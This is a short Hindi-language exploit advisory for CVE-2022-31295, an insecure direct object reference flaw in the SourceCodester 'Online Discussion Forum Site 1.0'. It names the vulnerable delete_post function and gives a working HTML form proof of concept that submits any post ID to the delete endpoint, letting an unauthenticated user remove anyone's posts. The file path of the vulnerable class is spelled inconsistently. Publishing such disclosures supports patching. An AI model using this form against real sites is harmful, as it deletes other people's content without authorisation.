CVE-2022-31295

ऑनलाइन चर्चा मंच साइट 1.0 - IDOR / किसी भी पोस्ट को हटाएं

शोषण शीर्षक: Online Discussion Forum Site 1.0 - IDOR / किसी भी पोस्ट को हटाएं

दिनांक: 2022-06-13

CVE: CVE-2022-31295

शोषण लेखक: Abdulaziz Saad (@b4zb0z)

विक्रेता होमपेज: https://www.sourcecodester.com/

सॉफ्टवेयर लिंक: https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html

संस्करण: 1.0

परीक्षण किया गया: LAMP, Ubuntu

---

[#] असुरक्षा स्थान: function delete_post() /odfs/classes/Maset.php:133 में

---

[#] शोषण: <form action="http://localhost/odfs/classes/Master.php?f=delete_post" method="post" id="manage-user"> <input type="text" name="id" value="" placeholder="enter POST ID to delete" required> <button type="submit">Delete Post</button> </form>